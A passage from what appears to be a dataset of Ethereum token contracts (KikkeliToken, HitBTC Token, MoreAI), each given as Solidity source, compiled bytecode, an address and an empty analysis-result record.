balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract KikkeliToken is MintableToken { string public name = "Kikkeli"; string public symbol = "KIK"; uint8 public decimals = 18; bool public transfersEnabled = false; event TransfersEnabled(); // Disable transfers until after the sale modifier whenTransfersEnabled() { require(transfersEnabled); _; } modifier whenTransfersNotEnabled() { require(!transfersEnabled); _; } function enableTransfers() onlyOwner whenTransfersNotEnabled public { transfersEnabled = true; emit TransfersEnabled(); } function transfer(address to, uint256 value) public whenTransfersEnabled returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenTransfersEnabled returns (bool) { return super.transferFrom(from, to, value); } // Approves and then calls the receiving contract function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); // call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. // receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) // it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. // solium-disable-next-line security/no-low-level-calls require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6080604052600436106100ed5763ffffffff60e060020a60003504166305d2035b81146100f257806306fdde031461011b578063095ea7b3146101a557806318160ddd146101c957806323b872dd146101f0578063313ce5671461021a57806340c10f1914610245578063661884631461026957806370a082311461028d5780637d64bcb4146102ae5780638da5cb5b146102c357806395d89b41146102f4578063a9059cbb14610309578063af35c6c71461032d578063bef97c8714610344578063cae9ca5114610359578063d73dd623146103c2578063dd62ed3e146103e6578063f2fde38b1461040d575b600080fd5b3480156100fe57600080fd5b5061010761042e565b604080519115158252519081900360200190f35b34801561012757600080fd5b5061013061044f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016a578181015183820152602001610152565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b157600080fd5b50610107600160a060020a03600435166024356104dd565b3480156101d557600080fd5b506101de610531565b60408051918252519081900360200190f35b3480156101fc57600080fd5b50610107600160a060020a0360043581169060243516604435610537565b34801561022657600080fd5b5061022f610563565b6040805160ff9092168252519081900360200190f35b34801561025157600080fd5b50610107600160a060020a036004351660243561056c565b34801561027557600080fd5b50610107600160a060020a0360043516602435610687565b34801561029957600080fd5b506101de600160a060020a0360043516610765565b3480156102ba57600080fd5b50610107610780565b3480156102cf57600080fd5b506102d8610826565b60408051600160a060020a039092168252519081900360200190f35b34801561030057600080fd5b50610130610835565b34801561031557600080fd5b50610107600160a060020a0360043516602435610890565b34801561033957600080fd5b506103426108ba565b005b34801561035057600080fd5b50610107610920565b34801561036557600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610107948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061092e9650505050505050565b3480156103ce57600080fd5b50610107600160a060020a0360043516602435610ab7565b3480156103f257600080fd5b506101de600160a060020a0360043581169060243516610b3e565b34801561041957600080fd5b50610342600160a060020a0360043516610b69565b60035474010000000000000000000000000000000000000000900460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104d55780601f106104aa576101008083540402835291602001916104d5565b820191906000526020600020905b8154815290600101906020018083116104b857829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a03871680855290835281842086905581518681529151939490939092600080516020610e78833981519152928290030190a350600192915050565b60015490565b600654600090610100900460ff16151561055057600080fd5b61055b848484610bfe565b949350505050565b60065460ff1681565b600354600090600160a060020a0316331461058657600080fd5b60035474010000000000000000000000000000000000000000900460ff16156105ae57600080fd5b6001546105c1908363ffffffff610d7516565b600155600160a060020a0383166000908152602081905260409020546105ed908363ffffffff610d7516565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156106dc57336000908152600260209081526040808320600160a060020a0388168452909152812055610711565b6106ec818463ffffffff610d8416565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a038916808552908352928190205481519081529051929392600080516020610e78833981519152929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a0316331461079a57600080fd5b60035474010000000000000000000000000000000000000000900460ff16156107c257600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104d55780601f106104aa576101008083540402835291602001916104d5565b600654600090610100900460ff1615156108a957600080fd5b6108b38383610d96565b9392505050565b600354600160a060020a031633146108d157600080fd5b600654610100900460ff16156108e657600080fd5b6006805461ff0019166101001790556040517feadb24812ab3c9a55c774958184293ebdb6c7f6a2dbab11f397d80c86feb65d390600090a1565b600654610100900460ff1681565b336000818152600260209081526040808320600160a060020a03881680855290835281842087905581518781529151939490939092600080516020610e78833981519152928290030190a383600160a060020a031660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e019050604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b83811015610a5c578181015183820152602001610a44565b50505050905090810190601f168015610a895780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610aad57600080fd5b5060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610aeb908363ffffffff610d7516565b336000818152600260209081526040808320600160a060020a038916808552908352928190208590558051948552519193600080516020610e78833981519152929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b8057600080fd5b600160a060020a0381161515610b9557600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610c1557600080fd5b600160a060020a038416600090815260208190526040902054821115610c3a57600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610c6a57600080fd5b600160a060020a038416600090815260208190526040902054610c93908363ffffffff610d8416565b600160a060020a038086166000908152602081905260408082209390935590851681522054610cc8908363ffffffff610d7516565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610d0a908363ffffffff610d8416565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6000828201838110156108b357fe5b600082821115610d9057fe5b50900390565b6000600160a060020a0383161515610dad57600080fd5b33600090815260208190526040902054821115610dc957600080fd5b33600090815260208190526040902054610de9908363ffffffff610d8416565b3360009081526020819052604080822092909255600160a060020a03851681522054610e1b908363ffffffff610d7516565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019291505056008c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a723058204ce89d7bdf0c9127be7aa0a2404bc5444f2842bee4024b05ca223843d43908950029
{"success": true, "error": null, "results": {}}
1,279
0xee5527c59e2d70a943e689db73d380205e070c67
pragma solidity ^0.5.17; /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract HIT is ERC20, ERC20Detailed, ERC20Burnable { constructor() ERC20Detailed('HitBTC Token', 'HIT', 18) public { _mint(msg.sender, 2_000_000_000 * 10 ** 18); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b411461029c578063a457c2d7146102a4578063a9059cbb146102d0578063dd62ed3e146102fc576100cf565b806342966c681461022b57806370a082311461024a57806379cc679014610270576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc61032a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103c0565b604080519115158252519081900360200190f35b6101996103d6565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356103dc565b6101e9610433565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b03813516906020013561043c565b6102486004803603602081101561024157600080fd5b5035610478565b005b6101996004803603602081101561026057600080fd5b50356001600160a01b0316610485565b6102486004803603604081101561028657600080fd5b506001600160a01b0381351690602001356104a0565b6100dc6104ae565b61017d600480360360408110156102ba57600080fd5b506001600160a01b03813516906020013561050f565b61017d600480360360408110156102e657600080fd5b506001600160a01b03813516906020013561054b565b6101996004803603604081101561031257600080fd5b506001600160a01b0381358116916020013516610558565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b65780601f1061038b576101008083540402835291602001916103b6565b820191906000526020600020905b81548152906001019060200180831161039957829003601f168201915b5050505050905090565b60006103cd338484610583565b50600192915050565b60025490565b60006103e984848461060b565b6001600160a01b038416600090815260016020908152604080832033808552925290912054610429918691610424908663ffffffff6106d616565b610583565b5060019392505050565b60055460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103cd918590610424908663ffffffff6106eb16565b6104823382610704565b50565b6001600160a01b031660009081526020819052604090205490565b6104aa82826107ab565b5050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b65780601f1061038b576101008083540402835291602001916103b6565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103cd918590610424908663ffffffff6106d616565b60006103cd33848461060b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b03821661059657600080fd5b6001600160a01b0383166105a957600080fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03821661061e57600080fd5b6001600160a01b038316600090815260208190526040902054610647908263ffffffff6106d616565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461067c908263ffffffff6106eb16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000828211156106e557600080fd5b50900390565b6000828201838110156106fd57600080fd5b9392505050565b6001600160a01b03821661071757600080fd5b60025461072a908263ffffffff6106d616565b6002556001600160a01b038216600090815260208190526040902054610756908263ffffffff6106d616565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b6107b58282610704565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546104aa918491610424908563ffffffff6106d61656fea265627a7a723158201ca3a60c1c263734b4714c13f51b4c18dfaa20799d2157cfa4758aa17a0b35b164736f6c63430005110032
{"success": true, "error": null, "results": {}}
1,280
0x97e8dbc4bab20a825edc72df441bde3102508605
pragma solidity ^0.4.6; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract Recoverable is Ownable { /// @dev Empty constructor (for now) function Recoverable() { } /// @dev This will be invoked by the owner, when owner wants to rescue tokens /// @param token Token which will we rescue to the owner from the contract function recoverTokens(ERC20Basic token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } /// @dev Interface function, can be overwritten by the superclass /// @param token Token which balance we will check and return /// @return The amount of tokens (in smallest denominator) the contract owns function tokensToBeReturned(ERC20Basic token) public returns (uint) { return token.balanceOf(this); } } contract StandardTokenExt is Recoverable, StandardToken { /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } } contract BurnableToken is StandardTokenExt { // @notice An address for the transfer event where the burned tokens are transferred in a faux Transfer event address public constant BURN_ADDRESS = 0; /** How many tokens we burned */ event Burned(address burner, uint burnedAmount); /** * Burn extra tokens from a balance. * */ function burn(uint burnAmount) { address burner = msg.sender; balances[burner] = balances[burner].sub(burnAmount); totalSupply = totalSupply.sub(burnAmount); Burned(burner, burnAmount); // Inform the blockchain explores that track the // balances only by a transfer event that the balance in this // address has decreased Transfer(burner, BURN_ADDRESS, burnAmount); } } contract UpgradeableToken is StandardTokenExt { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = balances[msg.sender].sub(value); // Take tokens out from circulation totalSupply = totalSupply.sub(value); totalUpgraded = totalUpgraded.add(value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } contract MoreAI is BurnableToken, UpgradeableToken { // Token meta information string public name; string public symbol; uint public decimals; event UpdatedTokenInformation(string newName, string newSymbol); function MoreAI() UpgradeableToken(msg.sender) { name = "MoreAI"; symbol = "MO"; totalSupply = 1000000000000000000000000000; decimals = 18; // Allocate initial balance to the owner balances[msg.sender] = totalSupply; } function setTokenInformation(string _name, string _symbol) { if(msg.sender != upgradeMaster) { throw; } name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } function transfer(address _to, uint _value) returns (bool success) { return super.transfer(_to, _value); } }
